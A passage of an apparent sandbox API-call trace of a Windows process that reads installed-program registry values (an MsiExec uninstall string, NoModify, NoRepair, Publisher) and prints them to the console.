lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.009] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.009] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.009] __iob_func () returned 0x7fefd702a80 [0151.009] _fileno (_File=0x7fefd702ab0) returned 1 [0151.009] _errno () returned 0x204bb0 [0151.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.009] _errno () returned 0x204bb0 [0151.009] GetFileType (hFile=0x50) returned 0x1 [0151.009] lstrlenW (lpString="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 52 [0151.009] GetConsoleOutputCP () returned 0x1b5 [0151.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0151.009] GetConsoleOutputCP () returned 0x1b5 [0151.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpUsedDefaultChar=0x0) returned 52 [0151.009] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0151.009] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.009] __iob_func () returned 0x7fefd702a80 [0151.009] _fileno (_File=0x7fefd702ab0) returned 1 [0151.009] _errno () returned 0x204bb0 [0151.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.009] _errno () returned 0x204bb0 [0151.009] GetFileType (hFile=0x50) returned 0x1 [0151.009] lstrlenW (lpString="\n") returned 1 [0151.009] GetConsoleOutputCP () returned 0x1b5 [0151.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.010] GetConsoleOutputCP () returned 0x1b5 [0151.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.010] GetProcessHeap () returned 0x3c0000 [0151.010] GetProcessHeap () returned 0x3c0000 [0151.010] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.010] GetProcessHeap () returned 0x3c0000 [0151.010] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.010] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.010] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.010] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.010] GetProcessHeap () returned 0x3c0000 [0151.010] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.010] GetProcessHeap () returned 0x3c0000 [0151.010] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.010] GetProcessHeap () returned 0x3c0000 [0151.010] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.010] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.010] __iob_func () returned 0x7fefd702a80 [0151.010] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.010] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.010] _fileno (_File=0x7fefd702ab0) returned 1 [0151.010] _errno () returned 0x204bb0 [0151.010] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.010] _errno () returned 0x204bb0 [0151.010] GetFileType (hFile=0x50) returned 0x1 [0151.011] lstrlenW (lpString=" ") returned 4 [0151.011] GetConsoleOutputCP () returned 0x1b5 [0151.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.011] GetConsoleOutputCP () returned 0x1b5 [0151.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.011] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.011] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.011] lstrlenW (lpString="NoModify") returned 8 [0151.011] __iob_func () returned 0x7fefd702a80 [0151.011] _fileno (_File=0x7fefd702ab0) returned 1 [0151.011] _errno () returned 0x204bb0 [0151.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.011] _errno () returned 0x204bb0 [0151.011] GetFileType (hFile=0x50) returned 0x1 [0151.011] lstrlenW (lpString="NoModify") returned 8 [0151.011] GetConsoleOutputCP () returned 0x1b5 [0151.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.011] GetConsoleOutputCP () returned 0x1b5 [0151.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0151.011] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.011] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.012] __iob_func () returned 0x7fefd702a80 [0151.012] _fileno (_File=0x7fefd702ab0) returned 1 [0151.012] _errno () returned 0x204bb0 [0151.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.012] _errno () returned 0x204bb0 [0151.012] GetFileType (hFile=0x50) returned 0x1 [0151.012] lstrlenW (lpString=" ") returned 4 [0151.012] GetConsoleOutputCP () returned 0x1b5 [0151.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.012] GetConsoleOutputCP () returned 0x1b5 [0151.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.012] __iob_func () returned 0x7fefd702a80 [0151.012] _fileno (_File=0x7fefd702ab0) returned 1 [0151.012] _errno () returned 0x204bb0 [0151.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.012] _errno () returned 0x204bb0 [0151.012] GetFileType (hFile=0x50) returned 0x1 [0151.012] lstrlenW (lpString="REG_DWORD") returned 9 [0151.012] GetConsoleOutputCP () returned 0x1b5 [0151.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.012] GetConsoleOutputCP () returned 0x1b5 [0151.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.013] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.013] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.013] __iob_func () returned 0x7fefd702a80 [0151.013] _fileno (_File=0x7fefd702ab0) returned 1 [0151.013] _errno () returned 0x204bb0 [0151.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.013] _errno () returned 0x204bb0 [0151.013] GetFileType (hFile=0x50) returned 0x1 [0151.013] lstrlenW (lpString=" ") returned 4 [0151.013] GetConsoleOutputCP () returned 0x1b5 [0151.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.013] GetConsoleOutputCP () returned 0x1b5 [0151.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.013] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.013] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.013] __iob_func () returned 0x7fefd702a80 [0151.013] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.013] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.013] _fileno (_File=0x7fefd702ab0) returned 1 [0151.013] _errno () returned 0x204bb0 [0151.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.013] _errno () returned 0x204bb0 [0151.013] GetFileType (hFile=0x50) returned 0x1 [0151.013] lstrlenW (lpString="0x1") returned 3 [0151.013] GetConsoleOutputCP () returned 0x1b5 [0151.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.014] GetConsoleOutputCP () returned 0x1b5 [0151.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.014] __iob_func () returned 0x7fefd702a80 [0151.014] _fileno (_File=0x7fefd702ab0) returned 1 [0151.014] _errno () returned 0x204bb0 [0151.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.014] _errno () returned 0x204bb0 [0151.014] GetFileType (hFile=0x50) returned 0x1 [0151.014] lstrlenW (lpString="\n") returned 1 [0151.014] GetConsoleOutputCP () returned 0x1b5 [0151.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.014] GetConsoleOutputCP () returned 0x1b5 [0151.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.014] GetProcessHeap () returned 0x3c0000 [0151.014] GetProcessHeap () returned 0x3c0000 [0151.014] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.014] GetProcessHeap () returned 0x3c0000 [0151.014] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.014] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.015] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.015] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.015] GetProcessHeap () returned 0x3c0000 [0151.015] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.015] GetProcessHeap () returned 0x3c0000 [0151.015] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.015] GetProcessHeap () returned 0x3c0000 [0151.015] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.015] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.015] __iob_func () returned 0x7fefd702a80 [0151.015] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.015] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.015] _fileno (_File=0x7fefd702ab0) returned 1 [0151.015] _errno () returned 0x204bb0 [0151.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.015] _errno () returned 0x204bb0 [0151.015] GetFileType (hFile=0x50) returned 0x1 [0151.015] lstrlenW (lpString=" ") returned 4 [0151.015] GetConsoleOutputCP () returned 0x1b5 [0151.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.015] GetConsoleOutputCP () returned 0x1b5 [0151.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.016] lstrlenW (lpString="NoRepair") returned 8 [0151.016] __iob_func () returned 0x7fefd702a80 [0151.016] _fileno (_File=0x7fefd702ab0) returned 1 [0151.016] _errno () returned 0x204bb0 [0151.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.016] _errno () returned 0x204bb0 [0151.016] GetFileType (hFile=0x50) returned 0x1 [0151.016] lstrlenW (lpString="NoRepair") returned 8 [0151.016] GetConsoleOutputCP () returned 0x1b5 [0151.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.016] GetConsoleOutputCP () returned 0x1b5 [0151.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0151.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.016] __iob_func () returned 0x7fefd702a80 [0151.016] _fileno (_File=0x7fefd702ab0) returned 1 [0151.016] _errno () returned 0x204bb0 [0151.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.016] _errno () returned 0x204bb0 [0151.016] GetFileType (hFile=0x50) returned 0x1 [0151.017] lstrlenW (lpString=" ") returned 4 [0151.017] GetConsoleOutputCP () returned 0x1b5 [0151.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.017] GetConsoleOutputCP () returned 0x1b5 [0151.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.017] __iob_func () returned 0x7fefd702a80 [0151.017] _fileno (_File=0x7fefd702ab0) returned 1 [0151.017] _errno () returned 0x204bb0 [0151.017] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.017] _errno () returned 0x204bb0 [0151.017] GetFileType (hFile=0x50) returned 0x1 [0151.017] lstrlenW (lpString="REG_DWORD") returned 9 [0151.017] GetConsoleOutputCP () returned 0x1b5 [0151.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.017] GetConsoleOutputCP () returned 0x1b5 [0151.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.018] __iob_func () returned 0x7fefd702a80 [0151.018] _fileno (_File=0x7fefd702ab0) returned 1 [0151.018] _errno () returned 0x204bb0 [0151.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.018] _errno () returned 0x204bb0 [0151.018] GetFileType (hFile=0x50) returned 0x1 [0151.018] lstrlenW (lpString=" ") returned 4 [0151.018] GetConsoleOutputCP () returned 0x1b5 [0151.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.018] GetConsoleOutputCP () returned 0x1b5 [0151.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.018] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.018] __iob_func () returned 0x7fefd702a80 [0151.018] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.018] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.018] _fileno (_File=0x7fefd702ab0) returned 1 [0151.018] _errno () returned 0x204bb0 [0151.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.018] _errno () returned 0x204bb0 [0151.018] GetFileType (hFile=0x50) returned 0x1 [0151.018] lstrlenW (lpString="0x1") returned 3 [0151.018] GetConsoleOutputCP () returned 0x1b5 [0151.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.018] GetConsoleOutputCP () returned 0x1b5 [0151.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.019] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.019] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.019] __iob_func () returned 0x7fefd702a80 [0151.019] _fileno (_File=0x7fefd702ab0) returned 1 [0151.019] _errno () returned 0x204bb0 [0151.019] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.019] _errno () returned 0x204bb0 [0151.019] GetFileType (hFile=0x50) returned 0x1 [0151.019] lstrlenW (lpString="\n") returned 1 [0151.019] GetConsoleOutputCP () returned 0x1b5 [0151.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.019] GetConsoleOutputCP () returned 0x1b5 [0151.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.019] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.019] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.019] GetProcessHeap () returned 0x3c0000 [0151.019] GetProcessHeap () returned 0x3c0000 [0151.019] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.019] GetProcessHeap () returned 0x3c0000 [0151.019] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.019] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.019] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.019] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0151.019] GetProcessHeap () returned 0x3c0000 [0151.020] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0151.020] GetProcessHeap () returned 0x3c0000 [0151.020] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0151.020] GetProcessHeap () returned 0x3c0000 [0151.020] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0151.020] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0151.020] __iob_func () returned 0x7fefd702a80 [0151.020] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.020] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.020] _fileno (_File=0x7fefd702ab0) returned 1 [0151.020] _errno () returned 0x204bb0 [0151.020] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.020] _errno () returned 0x204bb0 [0151.020] GetFileType (hFile=0x50) returned 0x1 [0151.020] lstrlenW (lpString=" ") returned 4 [0151.020] GetConsoleOutputCP () returned 0x1b5 [0151.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.020] GetConsoleOutputCP () returned 0x1b5 [0151.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.020] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.020] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.020] lstrlenW (lpString="Publisher") returned 9 [0151.020] __iob_func () returned 0x7fefd702a80 [0151.020] _fileno (_File=0x7fefd702ab0) returned 1 [0151.020] _errno () returned 0x204bb0 [0151.020] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.020] _errno () returned 